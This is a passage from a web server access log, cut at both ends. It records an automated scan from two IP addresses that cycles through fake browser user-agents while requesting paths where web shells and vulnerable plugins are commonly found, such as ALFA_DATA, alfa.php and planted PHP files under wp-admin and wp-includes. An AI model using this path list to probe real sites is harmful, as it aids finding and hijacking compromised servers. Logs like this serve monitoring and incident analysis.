795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:03 -0400] "GET /wp-content/plugins/google-seo-rank/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:03 -0400] "GET /wp-includes/pomo/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:03 -0400] "GET /wp-content/uploads/ao_ccss/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:03 -0400] "GET /wp-admin/meta/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:03 -0400] "GET /wp-content/plugins/erin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:26:03 -0400] "GET /wp-admin/maint/mlm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:26:03 -0400] "GET /wp-content/uploads/2021/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:26:03 -0400] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:03 -0400] "GET /wp-content/maintenance/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.91 - - [23/Apr/2025:03:26:03 -0400] "GET /wp-admin/css/colors/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:03 -0400] "GET /wp-content/plugins/elementor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:26:03 -0400] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:26:03 -0400] "GET /wp-content/x/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:04 -0400] "GET /wp-admin/images/buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:04 -0400] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.91 - - [23/Apr/2025:03:26:04 -0400] "GET /wp-content/uploads/ao_ccss/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:04 -0400] "GET /wp-content/plugins/seooyanz/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.91 - - [23/Apr/2025:03:26:04 -0400] "GET /wp-admin/css/colors/blue/ins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:04 -0400] "GET /upload/image/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:26:04 -0400] "GET /wp-content/uploads/2021/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:04 -0400] "GET /wp-content/themes/sky-pro/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:04 -0400] "GET /wordpress/wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:04 -0400] "GET /wp-admin/maint/go.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:04 -0400] "GET /wp-content/plugins/elementor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.89 - - [23/Apr/2025:03:26:04 -0400] "GET /wp-content/plugins/cp-pro/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:26:04 -0400] "GET /wordpress/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:04 -0400] "GET /wp-admin/js/sheb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.91 - - [23/Apr/2025:03:26:04 -0400] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:26:04 -0400] "GET /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:04 -0400] "GET /blog/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:04 -0400] "GET /wp-includes/ID3/sgd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.91 - - [23/Apr/2025:03:26:04 -0400] "GET /upload/image/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:04 -0400] "GET /wp-content/uploads/typehub/custom/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:26:04 -0400] "GET /wp-admin/css/colors/blue/ds.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.89 - - [23/Apr/2025:03:26:04 -0400] "GET /sites/default/files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:04 -0400] "GET /wordpress/wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.89 - - [23/Apr/2025:03:26:05 -0400] "GET /wp-content/plugins/rencontre/inc/photo_import/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.91 - - [23/Apr/2025:03:26:05 -0400] "GET /wp-includes/menu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:26:05 -0400] "GET /wordpress/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.89 - - [23/Apr/2025:03:26:05 -0400] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.89 - - [23/Apr/2025:03:26:05 -0400] "GET /wp-content/plugins/backup-backup/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:05 -0400] "GET /blog/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.91 - - [23/Apr/2025:03:26:05 -0400] "GET /.well-known/b.png.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.89 - - [23/Apr/2025:03:26:05 -0400] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:05 -0400] "GET /wp-content/plugins/pwnd-1/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:05 -0400] "GET /sites/default/files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.91 - - [23/Apr/2025:03:26:05 -0400] "GET /wp-admin/includes/alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:05 -0400] "GET /.tmb/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.89 - - [23/Apr/2025:03:26:05 -0400] "GET /admin/images/slider/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:05 -0400] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:26:05 -0400] "GET /wp-admin/css/colors/blue/lmfi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.89 - - [23/Apr/2025:03:26:05 -0400] "GET /admin/tmp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:05 -0400] "GET /wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.91 - - [23/Apr/2025:03:26:05 -0400] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.89 - - [23/Apr/2025:03:26:06 -0400] "GET /includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.91 - - [23/Apr/2025:03:26:06 -0400] "GET /wp-includes/PHPMailer/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:06 -0400] "GET /admin/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:06 -0400] "GET /admin/images/slider/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.89 - - [23/Apr/2025:03:26:06 -0400] "GET /themes/pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.91 - - [23/Apr/2025:03:26:06 -0400] "GET /wp-content/languages/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.89 - - [23/Apr/2025:03:26:06 -0400] "GET /Admin/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.91 - - [23/Apr/2025:03:26:06 -0400] "GET /admin/tmp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:06 -0400] "GET /wp-admin/css/f.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.89 - - [23/Apr/2025:03:26:06 -0400] "GET /admin/uploads/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:06 -0400] "GET /wp-admin/css/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.89 - - [23/Apr/2025:03:26:06 -0400] "GET /admin/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:06 -0400] "GET /administrator/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:06 -0400] "GET /images/footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:06 -0400] "GET /Admin/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:06 -0400] "GET /ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.89 - - [23/Apr/2025:03:26:07 -0400] "GET /wp-admin/maint/footerm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.91 - - [23/Apr/2025:03:26:07 -0400] "GET /admin/uploads/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:07 -0400] "GET /assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:07 -0400] "GET /administrator/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.89 - - [23/Apr/2025:03:26:07 -0400] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:07 -0400] "GET /wp-includes/PHPMailer/puran.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.89 - - [23/Apr/2025:03:26:07 -0400] "GET /ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:26:07 -0400] "GET /components/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:07 -0400] "GET /wp-admin/images/wp-confiq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:07 -0400] "GET /home/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:07 -0400] "GET /assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:07 -0400] "GET /wp-admin/css/colors/coffee/xoxo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.89 - - [23/Apr/2025:03:26:07 -0400] "GET /include/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.91 - - [23/Apr/2025:03:26:07 -0400] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.91 - - [23/Apr/2025:03:26:07 -0400] "GET /files/ban.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:07 -0400] "GET /modules/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:07 -0400] "GET /components/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.91 - - [23/Apr/2025:03:26:08 -0400] "GET /wp-content/languages/factory_wpdialog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:08 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:08 -0400] "GET /home/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.89 - - [23/Apr/2025:03:26:08 -0400] "GET /wp-admin/maint/qugpVj.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:08 -0400] "GET /include/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:26:08 -0400] "GET /mt/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:08 -0400] "GET /wp-includes/Text/dashboard.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:08 -0400] "GET /site/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:08 -0400] "GET /modules/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:26:08 -0400] "GET /wp-content/uploads/mlm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.89 - - [23/Apr/2025:03:26:08 -0400] "GET /tmps/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.91 - - [23/Apr/2025:03:26:08 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:26:08 -0400] "GET /wp-includes/yut.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:08 -0400] "GET /wordpress/wp-admin/includes/wp-admin/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.91 - - [23/Apr/2025:03:26:08 -0400] "GET /mt/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:08 -0400] "GET /wp-admin/js/ace.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:09 -0400] "GET /site/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:09 -0400] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:09 -0400] "GET /wp-admin/maint/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:09 -0400] "GET /wp-admin/css/colors/light/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:09 -0400] "GET /tmps/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:09 -0400] "GET /wp-content/uploads/old.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:09 -0400] "GET /wp-admin/css/colors/midnight/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.91 - - [23/Apr/2025:03:26:09 -0400] "GET /wordpress/wp-admin/includes/wp-admin/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.91 - - [23/Apr/2025:03:26:09 -0400] "GET /wp-admin/images/text.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:09 -0400] "GET /wp-admin/css/colors/modern/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.89 - - [23/Apr/2025:03:26:09 -0400] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:09 -0400] "GET /uploads/update_with_pics.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; 